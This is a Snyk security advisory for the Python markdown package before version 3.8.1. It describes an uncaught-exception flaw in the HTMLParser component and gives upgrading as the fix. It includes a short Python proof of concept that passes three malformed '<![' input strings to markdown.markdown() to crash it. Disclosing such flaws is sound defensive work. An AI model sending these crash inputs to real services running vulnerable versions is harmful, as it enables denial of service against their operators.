Uncaught Exception Affecting markdown package, versions [,3.8.1)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
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Test your applications- Snyk IDSNYK-PYTHON-MARKDOWN-15428352
- published6 Mar 2026
- disclosed5 Mar 2026
- creditKeshav Goyal
Introduced: 5 Mar 2026
NewCVE-2025-69534 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade markdown to version 3.8.1 or higher.
Overview
Affected versions of this package are vulnerable to Uncaught Exception via the HTMLParser component. An attacker can cause application crashes or potentially disclose information by submitting specially crafted, malformed HTML-like sequences in Markdown input.
PoC
import markdown
print(markdown.__version__)
crash_inputs = [
"<![",
"<![>og))/uw_ f{tv+pAr$Ss+[6;^{=<:>g2oV|.pdTMu(Q-E#",
"<![ g'\"7z5r7cojSO;2LAo0(1Vv5G>,-P",
]
for i, crash_input in enumerate(crash_inputs, 1):
print(f"\nTesting crash input #{i}:\n{repr(crash_input)}")
try:
output = markdown.markdown(crash_input, extensions=["extra"])
print("No crash, output:")
print(output)
except Exception as e:
print(f"Crash confirmed! Exception:\n{e}")